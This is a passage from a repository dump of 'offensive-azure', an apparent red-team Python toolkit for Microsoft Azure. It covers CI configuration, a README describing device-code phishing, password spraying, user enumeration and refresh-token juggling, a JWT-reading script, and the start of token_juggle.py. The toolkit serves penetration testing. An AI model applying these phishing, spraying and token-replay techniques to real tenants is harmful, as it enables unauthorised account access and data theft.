├── .github └── workflows │ ├── codeql-analysis.yml │ ├── dependency-review.yml │ ├── pylint.yml │ └── python-publish.yml ├── .gitignore ├── .pylintrc ├── LICENSE ├── README.md ├── SECURITY.md ├── offensive_azure ├── Access_Tokens │ ├── README.md │ ├── read_token.py │ ├── requirements.txt │ └── token_juggle.py ├── Azure_AD │ ├── README.md │ ├── get_group_members.py │ ├── get_groups.py │ ├── get_resource_groups.py │ ├── get_subscriptions.py │ ├── get_tenant.py │ ├── get_users.py │ ├── get_vms.py │ └── requirements.txt ├── Device_Code │ ├── README.md │ ├── device_code_easy_mode.py │ └── requirements.txt ├── Outsider_Recon │ ├── README.md │ ├── outsider_recon.py │ └── requirements.txt ├── User_Enum │ ├── README.md │ ├── requirements.txt │ └── user_enum.py └── __init__.py ├── poetry.lock ├── pyproject.toml └── tests ├── __init__.py └── test_offensive_azure.py /.github/workflows/codeql-analysis.yml: -------------------------------------------------------------------------------- 1 | # For most projects, this workflow file will not need changing; you simply need 2 | # to commit it to your repository. 3 | # 4 | # You may wish to alter this file to override the set of languages analyzed, 5 | # or to provide custom queries or build logic. 6 | # 7 | # ******** NOTE ******** 8 | # We have attempted to detect the languages in your repository. Please check 9 | # the `language` matrix defined below to confirm you have the correct set of 10 | # supported CodeQL languages. 11 | # 12 | name: "CodeQL" 13 | 14 | on: 15 | push: 16 | branches: [ main ] 17 | pull_request: 18 | # The branches below must be a subset of the branches above 19 | branches: [ main ] 20 | schedule: 21 | - cron: '42 14 * * 2' 22 | 23 | jobs: 24 | analyze: 25 | name: Analyze 26 | runs-on: ubuntu-latest 27 | permissions: 28 | actions: read 29 | contents: read 30 | security-events: write 31 | 32 | strategy: 33 | fail-fast: false 34 | matrix: 35 | language: [ 'python' ] 36 | # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ] 37 | # Learn more about CodeQL language support at https://git.io/codeql-language-support 38 | 39 | steps: 40 | - name: Checkout repository 41 | uses: actions/checkout@v3 42 | 43 | # Initializes the CodeQL tools for scanning. 44 | - name: Initialize CodeQL 45 | uses: github/codeql-action/init@v2 46 | with: 47 | languages: ${{ matrix.language }} 48 | # If you wish to specify custom queries, you can do so here or in a config file. 49 | # By default, queries listed here will override any specified in a config file. 50 | # Prefix the list here with "+" to use these queries and those in the config file. 51 | # queries: ./path/to/local/query, your-org/your-repo/queries@main 52 | 53 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). 54 | # If this step fails, then you should remove it and run the build manually (see below) 55 | - name: Autobuild 56 | uses: github/codeql-action/autobuild@v2 57 | 58 | # ℹ️ Command-line programs to run using the OS shell. 59 | # 📚 https://git.io/JvXDl 60 | 61 | # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines 62 | # and modify them (or add more) to build your code if your project 63 | # uses a compiled language 64 | 65 | #- run: | 66 | # make bootstrap 67 | # make release 68 | 69 | - name: Perform CodeQL Analysis 70 | uses: github/codeql-action/analyze@v2 71 | -------------------------------------------------------------------------------- /.github/workflows/dependency-review.yml: -------------------------------------------------------------------------------- 1 | # Dependency Review Action 2 | # 3 | # This Action will scan dependency manifest files that change as part of a Pull Reqest, surfacing known-vulnerable versions of the packages declared or updated in the PR. Once installed, if the workflow run is marked as required, PRs introducing known-vulnerable packages will be blocked from merging. 4 | # 5 | # Source repository: https://github.com/actions/dependency-review-action 6 | # Public documentation: https://docs.github.com/en/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#dependency-review-enforcement 7 | name: 'Dependency Review' 8 | on: [pull_request] 9 | 10 | permissions: 11 | contents: read 12 | 13 | jobs: 14 | dependency-review: 15 | runs-on: ubuntu-latest 16 | steps: 17 | - name: 'Checkout Repository' 18 | uses: actions/checkout@v3 19 | - name: 'Dependency Review' 20 | uses: actions/dependency-review-action@v1 21 | -------------------------------------------------------------------------------- /.github/workflows/pylint.yml: -------------------------------------------------------------------------------- 1 | name: Pylint 2 | 3 | on: [push] 4 | 5 | jobs: 6 | build: 7 | runs-on: ubuntu-latest 8 | strategy: 9 | matrix: 10 | python-version: ["3.8", "3.9", "3.10"] 11 | steps: 12 | - uses: actions/checkout@v3 13 | - name: Set up Python ${{ matrix.python-version }} 14 | uses: actions/setup-python@v3 15 | with: 16 | python-version: ${{ matrix.python-version }} 17 | - name: Install dependencies 18 | run: | 19 | python -m pip install --upgrade pip 20 | pip install pylint requests colorama dnspython python-whois pycryptodome 21 | - name: Analysing the code with pylint 22 | run: | 23 | pylint --rcfile=.pylintrc $(git ls-files '*.py') 24 | -------------------------------------------------------------------------------- /.github/workflows/python-publish.yml: -------------------------------------------------------------------------------- 1 | # This workflow will upload a Python Package using Twine when a release is created 2 | # For more information see: https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions#publishing-to-package-registries 3 | 4 | # This workflow uses actions that are not certified by GitHub. 5 | # They are provided by a third-party and are governed by 6 | # separate terms of service, privacy policy, and support 7 | # documentation. 8 | 9 | name: Upload Python Package 10 | 11 | on: 12 | release: 13 | types: [published] 14 | 15 | permissions: 16 | contents: read 17 | 18 | jobs: 19 | deploy: 20 | 21 | runs-on: ubuntu-latest 22 | 23 | steps: 24 | - uses: actions/checkout@v3 25 | - name: Set up Python 26 | uses: actions/setup-python@v3 27 | with: 28 | python-version: '3.8.10' 29 | - name: Install dependencies 30 | run: | 31 | python -m pip install --upgrade pip 32 | pip install build 33 | - name: Build package 34 | run: python -m build 35 | - name: Publish package 36 | uses: pypa/gh-action-pypi-publish@27b31702a0e7fc50959f5ad993c78deac1bdfc29 37 | with: 38 | user: __token__ 39 | password: ${{ secrets.PYPI_API_TOKEN }} 40 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ -------------------------------------------------------------------------------- /.pylintrc: -------------------------------------------------------------------------------- 1 | [MASTER] 2 | 3 | indent-string='\t' 4 | 5 | [MESSAGES CONTROL] 6 | 7 | disable=too-many-branches, too-many-statements, too-many-locals, duplicate-code, too-many-nested-blocks 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |

4 | 5 | [![Python Version](https://img.shields.io/pypi/pyversions/offensive_azure?style=plastic)](https://www.python.org) [![Build Status](https://img.shields.io/github/workflow/status/blacklanternsecurity/offensive-azure/Pylint?style=plastic)](https://github.com/blacklanternsecurity/offensive-azure/actions/workflows/pylint.yml?query=workflow%3Apylint) [![PyPI Wheel](https://img.shields.io/pypi/wheel/offensive_azure?style=plastic)](https://pypi.org/project/offensive-azure/) 6 | 7 | Collection of offensive tools targeting Microsoft Azure written in Python to be platform agnostic. The current list of tools can be found below with a brief description of their functionality. 8 | 9 | - [`./Device_Code/device_code_easy_mode.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Device_Code) 10 | - Generates a code to be entered by the target user 11 | - Can be used for general token generation or during a phishing/social engineering campaign. 12 | - [`./Access_Tokens/token_juggle.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Access_Tokens) 13 | - Takes in a refresh token in various ways and retrieves a new refresh token and an access token for the resource specified 14 | - [`./Access_Tokens/read_token.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Access_Tokens) 15 | - Takes in an access token and parses the included claims information, checks for expiration, attempts to validate signature 16 | - [`./Outsider_Recon/outsider_recon.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Outsider_Recon) 17 | - Takes in a domain and enumerates as much information as possible about the tenant without requiring authentication 18 | - [`./User_Enum/user_enum.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/User_Enum) 19 | - Takes in a username or list of usernames and attempts to enumerate valid accounts using one of three methods 20 | - Can also be used to perform a password spray 21 | - [`./Azure_AD/get_tenant.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Azure_AD) 22 | - Takes in an access token or refresh token, outputs tenant ID and tenant Name 23 | - Creates text output file as well as BloodHound compatible aztenant file 24 | - [`./Azure_AD/get_users.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Azure_AD) 25 | - Takes in an access token or refresh token, outputs all users in Azure AD and all available user properties in Microsoft Graph 26 | - Creates three data files, a condensed json file, a raw json file, and a BloodHound compatible azusers file 27 | - [`./Azure_AD/get_groups.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Azure_AD) 28 | - Takes in an access token or refresh token, outputs all groups in Azure AD and all available group properties in Microsoft Graph 29 | - Creates three data files, a condensed json file, a raw json file, and a BloodHound compatible azgroups file 30 | - [`./Azure_AD/get_group_members.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Azure_AD) 31 | - Takes in an access token or refresh token, outputs all group memberships in Azure AD and all available group member properties in Microsoft Graph 32 | - Creates three data files, a condensed json file, a raw json file, and a BloodHound compatible azgroups file 33 | - [`./Azure_AD/get_subscriptions.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Azure_AD) 34 | - Takes in an ARM token or refresh token, outputs all subscriptions in Azure and all available subscription properties in Azure Resource Manager 35 | - Creates three data files, a condensed json file, a raw json file, and a BloodHound compatible azgroups file 36 | - [`./Azure_AD/get_resource_groups.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Azure_AD) 37 | - Takes in an ARM token or refresh token, outputs all resource groups in Azure and all available resource group properties in Azure Resource Manager 38 | - Creates two data files, a raw json file, and a BloodHound compatible azgroups file 39 | - [`./Azure_AD/get_vms.py`](https://github.com/blacklanternsecurity/offensive-azure/tree/main/Azure_AD) 40 | - Takes in an ARM token or refresh token, outputs all virtual machines in Azure and all available VM properties in Azure Resource Manager 41 | - Creates two data files, a raw json file, and a BloodHound compatible azgroups file 42 | # Installation 43 | 44 | Offensive Azure can be installed in a number of ways or not at all. 45 | 46 | You are welcome to clone the repository and execute the specific scripts you want. A `requirements.txt` file is included for each module to make this as easy as possible. 47 | 48 | ## Poetry 49 | 50 | The project is built to work with `poetry`. To use, follow the next few steps: 51 | 52 | ``` 53 | git clone https://github.com/blacklanternsecurity/offensive-azure.git 54 | cd ./offensive-azure 55 | poetry install 56 | ``` 57 | 58 | ## Pip 59 | 60 | The packaged version of the repo is also kept on pypi so you can use `pip` to install as well. We recommend you use `pipenv` to keep your environment as clean as possible. 61 | 62 | ``` 63 | pipenv shell 64 | pip install offensive_azure 65 | ``` 66 | 67 | # Usage 68 | 69 | It is up to you for how you wish to use this toolkit. Each module can be ran independently, or you can install it as a package and use it in that way. Each module is exported to a script named the same as the module file. For example: 70 | 71 | ## Poetry 72 | 73 | ``` 74 | poetry install 75 | poetry run outsider_recon your-domain.com 76 | ``` 77 | 78 | ## Pip 79 | 80 | ``` 81 | pipenv shell 82 | pip install offensive_azure 83 | outsider_recon your-domain.com 84 | ``` 85 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Supported Versions 4 | 5 | Use this section to tell people about which versions of your project are 6 | currently being supported with security updates. 7 | 8 | | Version | Supported | 9 | | ------- | ------------------ | 10 | | All | :white_check_mark: | 11 | 12 | ## Reporting a Vulnerability 13 | 14 | Send an email to debifrank00@gmail.com with any security concerns you may have. 15 | 16 | We will work very quickly to acknowledge and correct any issues identified. 17 | -------------------------------------------------------------------------------- /offensive_azure/Access_Tokens/README.md: -------------------------------------------------------------------------------- 1 | # Access_Tokens 2 | 3 | ## token_juggle.py 4 | 5 | Requests a new access token for a Microsoft/Azure resource using a refresh token. 6 | 7 | Original inspiration comes directly from [rvrsh3ll](https://twitter.com/424f424f) and his [TokenTactics](https://github.com/rvrsh3ll/TokenTactics) project. 8 | 9 | This script will attempt to load a refresh token from a REFRESH_TOKEN environment variable if none is passed with `-r` or `-R`. 10 | 11 | After a successful refresh to a new access+refresh token pair, the response output will be saved to where you specify with `-o|--outfile`. If you do not specify an outfile, then it will be saved to `./YYYY-MM-DD_HH-MM-SS__token.json`. These can be passed back to the script for further use. 12 | 13 | ## read_token.py 14 | 15 | Reads an access token, parsing the various claims contained within it. Also attempts to validate the signature and tests for token expiration. 16 | 17 | ## Requirements 18 | 19 | ``` 20 | pip3 install -r requirements.txt 21 | ``` 22 | 23 | ## Usage 24 | 25 | ### token_juggle.py 26 | 27 | #### Using environment variable 28 | 29 | ``` 30 | export REFRESH_TOKEN= 31 | python3 token-juggle.py teams 32 | ``` 33 | 34 | #### Using a refresh token as input 35 | 36 | ``` 37 | python3 token_juggle.py outlook -r 38 | ``` 39 | 40 | #### Using an already saved token response from this script 41 | 42 | ``` 43 | python3 token_juggle.py ms_graph -R 44 | ``` 45 | 46 | #### Help 47 | 48 | ```bash 49 | usage: token_juggle.py [-r 'refresh_token' | -R './path/to/refresh_token.json'] 50 | 51 | ===================================================================================== 52 | # Requests a new access token for a Microsoft/Azure resource using a refresh token. # 53 | # # 54 | # This script will attempt to load a refresh token from a REFRESH_TOKEN # 55 | # environment variable if none is passed with '-r' or '-R'. # 56 | ===================================================================================== 57 | 58 | positional arguments: 59 | resource The target Microsoft/Azure resource. Choose from the following: win_core_management, 60 | azure_management, graph, ms_graph, ms_manage, teams, office_apps, office_manage, outlook, 61 | substrate 62 | 63 | optional arguments: 64 | -h, --help show this help message and exit 65 | -r , --refresh_token 66 | (string) The refresh token you would like to use. 67 | -R , --refresh_token_file 68 | (string) A JSON file saved from this script containing the refresh token you would like to 69 | use. 70 | -o , --outfile 71 | (string) The path/filename of where you want the new token data (json object) saved. If not 72 | supplied, script defaults to "./YYYY-MM-DD_HH-MM-SS__token.json" 73 | ``` 74 | 75 | ### read_token.py 76 | 77 | #### Help 78 | 79 | ```bash 80 | usage: read_token.py [-t|--token ] 81 | 82 | ========================================================== 83 | # # 84 | # Reads an access token for a Microsoft/Azure resource # 85 | # # 86 | ========================================================== 87 | 88 | optional arguments: 89 | -h, --help show this help message and exit 90 | -t , --token 91 | The token you would like to read 92 | ``` -------------------------------------------------------------------------------- /offensive_azure/Access_Tokens/read_token.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | ''' 4 | Copyright (C) 2022 Cody Martin BLSOPS LLC 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | ''' 19 | 20 | import sys 21 | import base64 22 | import json 23 | import datetime 24 | import argparse 25 | import colorama 26 | from Crypto.PublicKey import RSA 27 | from Crypto.Signature import PKCS1_PSS 28 | from Crypto.Hash import SHA 29 | import requests 30 | 31 | DESCRIPTION = ''' 32 | ========================================================== 33 | # # 34 | # Reads an access token for a Microsoft/Azure resource # 35 | # # 36 | ========================================================== 37 | ''' 38 | 39 | # Set up our colors 40 | colorama.init() 41 | SUCCESS = colorama.Fore.GREEN 42 | DANGER = colorama.Fore.RED 43 | WARNING = colorama.Fore.YELLOW 44 | RESET = colorama.Style.RESET_ALL 45 | VALID = colorama.Fore.CYAN 46 | 47 | KEY_ENDPOINT = 'https://login.microsoftonline.com/common/discovery/keys' 48 | 49 | def main(): 50 | """Runner method""" 51 | arg_parser = argparse.ArgumentParser( 52 | prog='read_token.py', 53 | usage=SUCCESS + '%(prog)s' + RESET + \ 54 | ' [-t|--token ]', 55 | description=DESCRIPTION, 56 | formatter_class=argparse.RawDescriptionHelpFormatter) 57 | arg_parser.add_argument( 58 | '-t', 59 | '--token', 60 | metavar='', 61 | dest='access_token', 62 | type=str, 63 | help='The token you would like to read', 64 | required=True) 65 | 66 | args = arg_parser.parse_args() 67 | 68 | parts = args.access_token.split('.') 69 | 70 | head = parts[0] 71 | payload = parts[1] 72 | signature = parts[2] 73 | 74 | # Parsing access token information 75 | payload_string = base64.b64decode(payload + '==') 76 | payload_json = json.loads(payload_string) 77 | try: 78 | iat_date = datetime.datetime.fromtimestamp(payload_json['iat']) 79 | payload_json['iat'] = iat_date.strftime('%Y-%m-%d, %H:%M:%S') 80 | except KeyError: 81 | payload_json['iat'] = '' 82 | try: 83 | nbf_date = datetime.datetime.fromtimestamp(payload_json['nbf']) 84 | payload_json['nbf'] = nbf_date.strftime('%Y-%m-%d, %H:%M:%S') 85 | except KeyError: 86 | payload_json['nbf'] = '' 87 | try: 88 | exp = payload_json['exp'] 89 | exp_date = datetime.datetime.fromtimestamp(payload_json['exp']) 90 | payload_json['exp'] = exp_date.strftime('%Y-%m-%d, %H:%M:%S') 91 | except KeyError: 92 | payload_json['exp'] = '' 93 | 94 | # Finagling amr response to be more readable 95 | try: 96 | auth_methods = str(payload_json['amr']) 97 | auth_methods = auth_methods.replace('pwd', 'Password') 98 | auth_methods = auth_methods.replace('rsa', 'Certificate_Or_Authenticator_App') 99 | auth_methods = auth_methods.replace('otp', 'One-time_Passcode_(email_or_text_message)') 100 | auth_methods = auth_methods.replace('fed', 'Federated_(JWT_or_SAML)') 101 | auth_methods = auth_methods.replace('wia', 'Windows_Integrated_Authentication') 102 | auth_methods = auth_methods.replace('mfa', 'Multi-factor_Authentication') 103 | auth_methods = auth_methods.replace('ngcmfa', 'Multi-factor_Equivalent_(Advanced_Credential_Type') 104 | auth_methods = auth_methods.replace('wiaormfa', 'Windows_Or_Multi-factor') 105 | except KeyError: 106 | auth_methods = '' 107 | 108 | # Finagling acr response to be more readable 109 | try: 110 | auth_class = payload_json['acr'] 111 | if auth_class == 0: 112 | auth_class = 'Authentication_Does_Not_Meet_ISO/IEC_29115_Requirements' 113 | elif auth_class == 1: 114 | auth_class = 'Authentication_Meets_ISO/IEC_29115_Requirements' 115 | except KeyError: 116 | auth_class = '' 117 | 118 | # Finagling appidacr/azpacr response to be more readable 119 | try: 120 | client_auth = payload_json['appidacr'] 121 | if client_auth == 0: 122 | client_auth = 'Public_Client' 123 | elif client_auth == 1: 124 | client_auth = 'Client_ID_And_Client_Secret_Used' 125 | elif client_auth == 2: 126 | client_auth = 'Client_Certificate_Used' 127 | except KeyError: 128 | try: 129 | client_auth = payload_json['azpacr'] 130 | except KeyError: 131 | if client_auth == 0: 132 | client_auth = 'Public_Client' 133 | elif client_auth == 1: 134 | client_auth = 'Client_ID_And_Client_Secret_Used' 135 | elif client_auth == 2: 136 | client_auth = 'Client_Certificate_Used' 137 | 138 | # Finagling acct response to be more readable 139 | try: 140 | user_acct = payload_json['acct'] 141 | if user_acct == 0: 142 | user_acct = 'Tenant_Member' 143 | elif user_acct == 1: 144 | user_acct = 'Tenant_Guest' 145 | except KeyError: 146 | user_acct = '' 147 | 148 | result = { 149 | 'Initialized_At': payload_json['iat'], 150 | 'Not_Valid_Before': payload_json['nbf'], 151 | 'Expires': payload_json['exp'], 152 | } 153 | 154 | try: 155 | result['Resource'] = payload_json['aud'] 156 | except KeyError: 157 | result['Resource'] = '' 158 | try: 159 | result['Identity_Provider_Issuer'] = payload_json['iss'] 160 | except KeyError: 161 | result['Identity_Provider_Issuer'] = '' 162 | try: 163 | result['Token_Reuse_Claim'] = payload_json['aio'] 164 | except KeyError: 165 | result['Token_Reuse_Claim'] = '' 166 | result['Authentication_Context_Class'] = auth_class 167 | result['Authentication_Methods'] = auth_methods 168 | try: 169 | result['Application_ID'] = payload_json['appid'] 170 | except KeyError: 171 | try: 172 | result['Application_ID'] = payload_json['azp'] 173 | except KeyError: 174 | result['Application_ID'] = '' 175 | result['Client_Authentication_Method'] = client_auth 176 | try: 177 | result['Last_Name'] = payload_json['family_name'] 178 | except KeyError: 179 | result['Last_Name'] = '' 180 | try: 181 | result['First_Name'] = payload_json['given_name'] 182 | except KeyError: 183 | result['First_Name'] = '' 184 | try: 185 | result['IP_Address'] = payload_json['ipaddr'] 186 | except KeyError: 187 | result['IP_Address'] = '' 188 | try: 189 | result['Full_Name'] = payload_json['name'] 190 | except KeyError: 191 | result['Full_Name'] = '' 192 | try: 193 | result['Verified_Service_Principal'] = payload_json['oid'] 194 | except KeyError: 195 | result['Verified_Service_Principal'] = '' 196 | try: 197 | result['PUID'] = payload_json['puid'] 198 | except KeyError: 199 | result['PUID'] = '' 200 | try: 201 | result['Internal_Revalidation_String'] = payload_json['rh'] 202 | except KeyError: 203 | result['Internal_Revalidation_String'] = '' 204 | try: 205 | result['Consented Scopes'] = payload_json['scp'] 206 | except KeyError: 207 | result['Consented Scopes'] = '' 208 | try: 209 | result['Subject_Authorization_Check_Value'] = payload_json['sub'] 210 | except KeyError: 211 | result['Subject_Authorization_Check_Value'] = '' 212 | try: 213 | result['Tenant_Region_Scope'] = payload_json['tenant_region_scope'] 214 | except KeyError: 215 | result['Tenant_Region_Scope'] = '' 216 | try: 217 | result['Tenant_ID'] = payload_json['tid'] 218 | except KeyError: 219 | result['Tenant_ID'] = '' 220 | try: 221 | result['Human_Readable_Token_Subject'] = payload_json['unique_name'] 222 | except KeyError: 223 | result['Human_Readable_Token_Subject'] = '' 224 | try: 225 | result['User_Principal_Name'] = payload_json['upn'] 226 | except KeyError: 227 | result['User_Principal_Name'] = '' 228 | try: 229 | result['Unique_Token_Identifier'] = payload_json['uti'] 230 | except KeyError: 231 | result['Unique_Token_Identifier'] = '' 232 | try: 233 | result['Token_Version'] = payload_json['ver'] 234 | except KeyError: 235 | result['Token_Version'] = '' 236 | result['User_Account_Status'] = user_acct 237 | try: 238 | result['Last_Authenticated'] = payload_json['auth_time'] 239 | except KeyError: 240 | result['Last_Authenticated'] = '' 241 | try: 242 | result['Users_Country'] = payload_json['ctry'] 243 | except KeyError: 244 | result['Users_Country'] = '' 245 | try: 246 | result['Reported_User_Email'] = payload_json['email'] 247 | except KeyError: 248 | result['Reported_User_Email'] = '' 249 | try: 250 | result['Originating_VNET_IPv4_Address'] = payload_json['fwd'] 251 | except KeyError: 252 | result['Originating_VNET_IPv4_Address'] = '' 253 | try: 254 | result['Group_Membership'] = payload_json['groups'] 255 | except KeyError: 256 | result['Group_Membership'] = '' 257 | try: 258 | result['Token_Type'] = payload_json['idtyp'] 259 | except KeyError: 260 | result['Token_Type'] = '' 261 | try: 262 | result['Login_Hint'] = payload_json['login_hint'] 263 | except KeyError: 264 | result['Login_Hint'] = '' 265 | try: 266 | result['Session_ID'] = payload_json['sid'] 267 | except KeyError: 268 | result['Session_ID'] = '' 269 | try: 270 | result['Tenant_Country'] = payload_json['tenant_ctry'] 271 | except KeyError: 272 | result['Tenant_Country'] = '' 273 | try: 274 | result['Verified_Primary_Email'] = payload_json['verified_primary_email'] 275 | except KeyError: 276 | result['Verified_Primary_Email'] = '' 277 | try: 278 | result['Verified_Secondary_Email'] = payload_json['verified_secondary_email'] 279 | except KeyError: 280 | result['Verified_Secondary_Email'] = '' 281 | try: 282 | result['VNET'] = payload_json['vnet'] 283 | except KeyError: 284 | result['VNET'] = '' 285 | try: 286 | result['Preferred_Data_Location'] = payload_json['xms_pdl'] 287 | except KeyError: 288 | result['Preferred_Data_Location'] = '' 289 | try: 290 | result['Preferred_Language'] = payload_json['xms_pl'] 291 | except KeyError: 292 | result['Preferred_Language'] = '' 293 | try: 294 | result['Tenant_Preferred_Language'] = payload_json['xms_tpl'] 295 | except KeyError: 296 | result['Tenant_Preferred_Language'] = '' 297 | try: 298 | result['Zero_Touch_Deployment_ID'] = payload_json['ztdid'] 299 | except KeyError: 300 | result['Zero_Touch_Deployment_ID'] = '' 301 | try: 302 | result['On-Premises_Security_Identifier'] = payload_json['onprem_sid'] 303 | except KeyError: 304 | result['On-Premises_Security_Identifier'] = '' 305 | try: 306 | result['Password_Expiration_Time'] = payload_json['pwd_exp'] 307 | except KeyError: 308 | result['Password_Expiration_Time'] = '' 309 | try: 310 | result['Change_Password_URL'] = payload_json['pwd_url'] 311 | except KeyError: 312 | result['Change_Password_URL'] = '' 313 | try: 314 | result['User_Within_Corporate_Network'] = payload_json['in_corp'] 315 | except KeyError: 316 | result['User_Within_Corporate_Network'] = '' 317 | try: 318 | result['User_Roles_Allowed'] = payload_json['roles'] 319 | except KeyError: 320 | result['User_Roles_Allowed'] = '' 321 | try: 322 | result['Tenant_Wide_User_Roles'] = payload_json['wids'] 323 | except KeyError: 324 | result['Tenant_Wide_User_Roles'] = '' 325 | try: 326 | result['User_In_A_Group'] = payload_json['hasgroups'] 327 | except KeyError: 328 | result['User_In_A_Group'] = '' 329 | try: 330 | result['Groups_List_URL'] = payload_json['groups:src1'] 331 | except KeyError: 332 | result['Groups_List_URL'] = '' 333 | try: 334 | result['Additional_User_Name'] = payload_json['nickname'] 335 | except KeyError: 336 | result['Additional_User_Name'] = '' 337 | 338 | # Check if token is expired 339 | current_time = datetime.datetime.now().timestamp() 340 | result['Expired'] = current_time > exp 341 | 342 | # Token signature verfication 343 | 344 | head_string = base64.b64decode(head + '==') 345 | head_json = json.loads(head_string) 346 | key_id = head_json['kid'] 347 | 348 | if head_json['alg'] == 'RS256': 349 | response = requests.get(KEY_ENDPOINT).json() 350 | public_cert = None 351 | for key in response['keys']: 352 | if key['kid'] == key_id: 353 | public_cert = key['x5c'] 354 | break 355 | if public_cert is not None: 356 | public_cert_bin = base64.b64decode(public_cert[0]) 357 | jwt_data = f'{head}.{payload}' 358 | jwt_data_bin = base64.b64decode(jwt_data + '==') 359 | signature = signature.replace('-','+').replace('_','/') + '==' 360 | signature_bin = base64.b64decode(signature) 361 | for index in range(0, len(public_cert_bin), 1): 362 | try: 363 | byte = public_cert_bin[index] 364 | next_byte = public_cert_bin[index+1] 365 | except IndexError: 366 | result['Valid_Signature'] = 'Error' 367 | break 368 | if byte == 0x02 and next_byte & 0x80: 369 | index = index + 1 370 | if next_byte & 0x02: 371 | byte_one = str(public_cert_bin[index+2]) 372 | while len(byte_one) % 8: 373 | byte_one = '0' + byte_one 374 | byte_two = str(public_cert_bin[index+1]) 375 | while len(byte_two) % 8: 376 | byte_two = '0' + byte_two 377 | bytes_concat = byte_one + byte_two 378 | byte_count = int(bytes_concat, 2) 379 | index = index + 3 380 | elif next_byte & 0x01: 381 | byte_one = str(public_cert_bin[index+1]) 382 | while len(byte_one) % 8: 383 | byte_one = '0' + byte_one 384 | byte_count = int(byte_one, 2) 385 | index = index + 2 386 | 387 | if public_cert_bin[index] == 0x00: 388 | index = index + 1 389 | byte_count = byte_count - 1 390 | 391 | modulus = public_cert_bin[index:index+byte_count] 392 | 393 | index = index + byte_count 394 | if public_cert_bin[index] == 0x02: 395 | index = index + 1 396 | byte_count = public_cert_bin[index] 397 | exponent = public_cert_bin[index:index+byte_count-1] 398 | else: 399 | result['Valid_Signature'] = 'Error' 400 | break 401 | if exponent and modulus: 402 | exponent_bin = '' 403 | for exp_byte in exponent: 404 | exp_bin = str(bin(exp_byte)).replace('0b', '') 405 | while len(exp_bin) % 8: 406 | exp_bin = '0' + exp_bin 407 | exponent_bin = exponent_bin + exp_bin 408 | modulus_bin = '' 409 | for mod_byte in modulus: 410 | mod_bin = str(bin(mod_byte)).replace('0b', '') 411 | while len(mod_bin) % 8: 412 | mod_bin = '0' + mod_bin 413 | modulus_bin = modulus_bin + mod_bin 414 | rsa = RSA.construct((int(modulus_bin, 2), int(exponent_bin, 2))) 415 | hash_msg = SHA.new() 416 | hash_msg.update(jwt_data_bin) 417 | verifier = PKCS1_PSS.new(rsa.publickey()) 418 | valid = verifier.verify(hash_msg, signature_bin) # pylint: disable=not-callable 419 | result['Valid_Signature'] = valid 420 | else: 421 | result['Valid_Signature'] = 'Unsupported Algorithm' 422 | 423 | print() 424 | print(f'{WARNING}TOKEN INFORMATION{RESET}:') 425 | for key, value in result.items(): 426 | if key == 'Expired' and value is True: 427 | print(f'{SUCCESS}{key}{RESET}: {DANGER}{value}{RESET}') 428 | elif key == 'Expired' and value is False: 429 | print(f'{SUCCESS}{key}{RESET}: {VALID}{value}{RESET}') 430 | elif key == 'Valid_Signature' and value is True: 431 | print(f'{SUCCESS}{key}{RESET}: {VALID}{value}{RESET}') 432 | elif key == 'Valid_Signature' and value is False: 433 | print(f'{SUCCESS}{key}{RESET}: {WARNING}Unable To Validate{RESET}') 434 | elif value != '': 435 | print(f'{SUCCESS}{key}{RESET}: {value}') 436 | else: 437 | continue 438 | 439 | 440 | if __name__ == '__main__': 441 | main() 442 | sys.exit() 443 | -------------------------------------------------------------------------------- /offensive_azure/Access_Tokens/requirements.txt: -------------------------------------------------------------------------------- 1 | certifi==2021.10.8 2 | charset-normalizer==2.0.12 3 | colorama==0.4.4 4 | idna==3.3 5 | requests==2.27.1 6 | urllib3==1.26.9 7 | -------------------------------------------------------------------------------- /offensive_azure/Access_Tokens/token_juggle.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | ''' 4 | Copyright (C) 2022 Cody Martin BLSOPS LLC 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | ''' 19 | 20 | # pip3 install requests 21 | # pip3 install argparse 22 | # pip3 install colorama 23 | 24 | import os 25 | import sys 26 | import argparse 27 | import time 28 | import json 29 | import requests 30 | import colorama 31 | 32 | # Resources 33 | 34 | # Windows Core Management 35 | WIN_CORE_MANAGEMENT = 'https://management.core.windows.net' 36 | 37 | # Azure Management 38 | # (For use in Az [powershell-will not access AzAD cmdlets without also supplying graph token]) 39 | AZURE_MANAGEMENT = 